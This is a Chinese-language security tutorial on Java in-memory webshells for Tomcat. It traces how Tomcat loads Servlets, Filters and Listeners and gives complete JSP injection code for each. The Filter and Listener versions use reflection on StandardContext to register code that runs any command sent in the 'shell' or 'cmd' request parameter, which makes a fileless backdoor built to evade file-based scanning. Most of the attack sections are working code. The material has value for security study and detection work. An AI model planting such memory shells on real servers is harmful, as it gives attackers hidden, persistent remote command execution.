参考资料:
文库更新!JAVA内存马研究0到1(3万字总结,建议收藏)
查杀Java web filter型内存马
一款支持高度自定义的 Java 内存马生成工具:https://github.com/pen4uin/java-memshell-generator
1.内存马介绍
内存马是一种将恶意代码直接注入到应用程序运行时内存中的技术手段。与传统的基于文件的WebShell不同,内存马不依赖于磁盘上的任何持久化存储,而是利用Java、.NET等语言提供的反射机制或动态编译功能,在内存中创建并执行恶意逻辑。这种方式不仅能够绕过大多数基于文件扫描的安全防护措施,而且由于其高度的灵活性和隐蔽性,使得一旦成功植入,很难被发现和清除。
Servlet-API类内存马:Servlet/Filter/Listener
框架类内存马:Controller/Interceptor
基于Java Agent类型内存马
2.Servlet型内存马
https://github.com/W01fh4cker/LearnJavaMemshellFromZero
Tomcat-Servlet型内存马 - Longlone’s Blog
Java安全-Servlet内存马_servlet 内存马示例-CSDN博客
JavaWeb 内存马一周目通关攻略 - Luminous~ - 博客园
Tomcat怎么加载的Servlet?在ContextConfig类中,这个类来自于tomcat-catalina这个Jar包
1
2
3
4
5
6
7
|
//在自己项目的pom.xml文件中添加所需依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<!-- 版本按照本地Tomcat版本来 -->
<version>10.1.26</version>
</dependency>
|
如果无法下载源码运行这段命令:mvn dependency:resolve -Dclassifier=sources

找到configureContext这个函数,这就是将我们Servlet加载到Tomcat容器的代码,打上断点

这里面就有我们传入的所有Servlet和对应的访问路径

下面这段代码就是将我们的Servlet遍历添加到Wrapper这个包装对象上,并给他辅助
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored
// jsp-file gets passed to the JSP Servlet as an init-param
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String,String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if (null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if (null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if (null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(), maxFileSize,
maxRequestSize, fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String,String> entry : webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
|
一个是处理Servlet的循环,一个是处理URL映射关系的循环,都使用到这个context对象
1
2
|
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
|
那么这个context是什么,我们该如何获取呢?
可以看到这个context是StandContext,我们可以通过这个路径获取HttpServletRequest.getServletContext.context.context来获取


2.1.注入内存马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page language="java" pageEncoding="utf-8" contentType="text/html; charset=UTF-8"%>
<%!
public class ShellServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest request,HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
<%
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=UTF-8");
out.print("memshell");
// 从请求对象获取 ApplicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext)applicationContextField.get(servletContext);
// 从ApplicationContext中获取StandardContext
Field standardcontextField = appContext.getClass().getDeclaredField("context");
standardcontextField.setAccessible(true);
StandardContext standardcontext = (StandardContext)standardcontextField.get(appContext);
// 注册恶意Servlet
Wrapper wrapper = standardcontext.createWrapper();
// 传入Servlet名字
wrapper.setName("ShellServlet");
// 传入Servlet映射类名+实例化类
wrapper.setServletClass(ShellServlet.class.getName());
wrapper.setServlet(new ShellServlet());
// 将包装器添加到context
standardcontext.addChild(wrapper);
// 添加路由Servlet映射关系
standardcontext.addServletMappingDecoded("/addShell",wrapper.getName());
%>
|
访问shell.jsp,然后再访问addShell,执行ShellServlet里面的恶意代码

3.Filter内存马
内存马第二弹——Filter内存马
Tomcat内存马之Filter内存马剖析
Filter也称之为过滤器,是对Servlet技术的一个强补充。其主要功能是在HttpServletRequest到达 Servlet以及HttpServletResponse到达客户端之前进行拦截,根据需要对其进行检查与修改。主要应用于权限控制、日志记录、性能监控、数据加解密等场景。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package com.example.filtermemshell;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpFilter;
import java.io.IOException;
public class HelloFilter extends HttpFilter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd == null) {
super.doFilter(servletRequest, servletResponse, filterChain);
}else {
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Hello " + cmd);
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
version="6.0">
<filter>
<filter-name>hellofilter</filter-name>
<filter-class>com.example.filtermemshell.HelloFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>hellofilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
|

那么我们如何能再程序运行时将恶意的Filter加载到Tomcat中呢?
在filterChain.doFilter(servletRequest,servletResponse)打断点, 这是请求预处理的关键点 。
跟进doFilter,会发现ApplicationFilterChain类的filters属性中包含了自定义的filter信息。

3.1.注入内存马条件
- 获取context,fiterConfig的相关内容都是从context中得到;
- 创建filter;
- 将filter ,FilterDefs,FilterMaps添加到FilterConfigs中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//请求对象 request 中获取 ServletContext 对象。
ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一个类,用于封装 Spring 的 Web 应用程序上下文。
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通过反射获取上下文
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
// context 字段,即 Spring 的应用程序上下文对象。通过反射获取到该字段的值,它被强制转换为 ApplicationContext 类型
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//类型转换standardContext,标准的web应用程序上下文
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
//构造filter对象
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("执行过滤");
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//将过滤器的配置信息添加到应用程序上下文中
standardContext.addFilterDef(filterDef);
//构造filterMap对象
FilterMap filterMap = new FilterMap();
//添加映射的路由为所有请求
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将上述设置好的过滤器映射对象添加到 StandardContext 中,并将其插入到已有的过滤器映射之前
standardContext.addFilterMapBefore(filterMap);
//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("注入完成");
}
%>
|

4.Listener内存马
JAVA安全-手搓内存马系列-Listener
自己创建一个Listeren
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
package com.example.listenershell;
import jakarta.servlet.Servlet;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
public class MyListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequest request = sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
|
- 在Tomcat中,
StandardContext类提供了addApplicationListener(String listenerClassName)方法,可以动态添加Listener。
- 如果攻击者能够访问到
**StandardContext**实例(通过反序列化、反射等手段),就可以调用该方法注册恶意Listener。
4.1.注入内存马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="com.example.listenershell.MyListener" %>
<%@ page language="java" pageEncoding="utf-8" contentType="text/html; charset=UTF-8"%>
<%!
public class MyListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequest request = sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
%>
<%
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=UTF-8");
out.print("memshell");
// 从请求对象获取 ApplicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext)applicationContextField.get(servletContext);
// 从ApplicationContext中获取StandardContext
Field standardcontextField = appContext.getClass().getDeclaredField("context");
standardcontextField.setAccessible(true);
StandardContext standardcontext = (StandardContext)standardcontextField.get(appContext);
// 注册恶意Listener
standardcontext.addApplicationEventListener(new MyListener());
out.print("注册成功");
%>
|
访问shell.jsp

注入成功
